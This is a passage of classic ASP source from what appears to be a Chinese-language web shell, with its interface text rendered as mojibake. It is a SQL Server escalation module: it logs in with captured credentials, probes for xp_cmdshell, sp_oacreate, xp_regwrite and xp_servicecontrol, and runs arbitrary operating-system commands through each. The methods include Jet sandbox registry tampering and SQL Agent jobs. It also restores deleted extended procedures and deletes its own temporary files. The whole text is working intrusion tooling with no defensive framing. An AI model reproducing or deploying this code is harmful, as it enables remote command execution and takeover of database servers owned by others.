    ¹§Ï²£¡SQL Server×î¸ßȨÏÞ
    " session("pri")=1 else response.write "
    ÓôÃÆ£¬È¨ÏÞ²»¹»¹À¼Æ²»ÄÜÖ´ÐÐÃüÁ
    " session("pri")=0 end if session("login")="yes" session("name")=request.form("name") session("pass")=request.form("pass") session("server")=request.form("server") session("port")=request.form("port") response.write "" End if Elseif request("sqlaaa")="test" then if session("login")<>"" then response.write "

    " if session("system")="2000" then response.write "Windows 2000ϵͳ" elseif session("system")="xp" then response.write "Windows xpϵͳ" elseif session("system")="2003" then response.write "Windows 2003ϵͳ" else response.write "ÆäËü²Ù×÷ϵͳ" end if if session("pri")=1 then response.write "
    ¹§Ï²£¡SQL Server×î¸ßȨÏÞ
    " else response.write "
    ÓôÃÆ£¬È¨ÏÞ²»¹»¹À¼Æ²»ÄÜÖ´ÐÐÃüÁ
    " end if set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'" set recresult = adoconn.execute(strquery) response.write "" if recresult(0) then session("xp_cmdshell")=1 response.write "xp_cmdshell............. ´æÔÚ!" else session("xp_cmdshell")=0 response.write "xp_cmdshell............. ²»´æÔÚ!" end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate'" set recresult = adoconn.execute(strquery) if recresult(0) then response.write "
    sp_oacreate............. ´æÔÚ!" session("sp_oacreate")=1 else response.write "
    sp_oacreate............. ²»´æÔÚ!" session("sp_oacreate")=0 end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'" set recresult = adoconn.execute(strquery) if recresult(0) then response.write "
    xp_regwrite............. ´æÔÚ!" session("xp_regwrite")=1 else response.write "
    xp_regwrite............. ²»´æÔÚ!" session("xp_regwrite")=0 end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_servicecontrol'" set recresult = adoconn.execute(strquery) if recresult(0) then response.write "
    xp_servicecontrol....... ´æÔÚ!
    " session("xp_servicecontrol")=1 else response.write "
    xp_servicecontrol....... ²»´æÔÚ!
    " session("xp_servicecontrol")=0 end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="cmd" then if session("login")<>"" then if session("pri")=1 then if request("tool")="xp_cmdshell" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then strquery = "exec master.dbo.xp_cmdshell '" & request.form("cmd") & "'" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " end if elseif request("tool")="sp_oacreate" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then strquery = "create table [jnc](resulttxt nvarchar(1024) null);use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c "&request("cmd")&" > 8617.tmp',0,true;bulk insert [jnc] from '8617.tmp' with (keepnulls);" adoconn.execute(strquery) strquery = "select * from jnc" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " strquery = "drop table [jnc];declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c del 8617.tmp'" adoconn.execute(strquery) end if elseif request("tool")="xp_regwrite" then if session("system")="2000" then path="c:\winnt\system32\ias\ias.mdb" else path="c:\windows\system32\ias\ias.mdb" end if set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then cmd=chr(34)&"cmd.exe /c "&request.form("cmd")&" > 8617.tmp"&chr(34) strquery = "create table [jnc](resulttxt nvarchar(1024) null);exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',0;select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&cmd&")');" adoconn.execute(strquery) strquery = "select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&chr(34)&"cmd.exe /c copy 8617.tmp jnc.tmp"&chr(34)&")');bulk insert [jnc] from 'jnc.tmp' with (keepnulls);" set recresult = adoconn.execute(strquery) strquery="select * from [jnc];" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " strquery = "drop table [jnc];exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',1;select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&chr(34)&"cmd.exe /c del 8617.tmp&&del jnc.tmp"&chr(34)&")');" adoconn.execute(strquery) end if elseif request("tool")="sqlserveragent" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then if session("sqlserveragent")=0 then strquery = "exec master.dbo.xp_servicecontrol 'start','sqlserveragent';" adoconn.execute(strquery) session("sqlserveragent")=1 end if strquery = "use msdb create table [jncsql](resulttxt nvarchar(1024) null) exec sp_delete_job null,'x' exec sp_add_job 'x' exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "&request.form("cmd")&"' exec sp_add_jobserver null,'x',@@servername exec sp_start_job 'x';" adoconn.execute(strquery) adoconn.execute(strquery) adoconn.execute(strquery) response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " strquery = "use msdb drop table [jncsql];" adoconn.execute(strquery) end if elseif request("tool")="" then response.write "" end if else response.write "" end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="resume" then if session("login")<>"" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if session("xp_cmdshell")=0 then strquery="dbcc addextendedproc ('xp_cmdshell','xplog70.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_cmdshell
    " elseif session("sp_oacreate")=0 then strquery="dbcc addextendedproc ('sp_oacreate','odsole70.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´sp_oacreate
    " elseif session("xp_regwrite")=0 then strquery="dbcc addextendedproc ('xp_regwrite','xpstar.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_regwrite
    " elseif session("xp_servicecontrol")=0 then strquery="dbcc addextendedproc ('xp_servicecontrol','xprepl.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_servicecontrol
    " else response.write "
    ¹§Ï²£¡×é¼þÆëÈ«
    " end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="sql" then if session("login")<>"" then if request.form("sql")<>"" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") strquery=request.form("sql") set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    " end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if end if if request("sqlaaa")="logout" then set adoconn=nothing session("login")="" session("name")="" session("pass")="" session("server")="" session("port")="" session("system")="" session("pri")="" response.write "" end if end function RRS""%>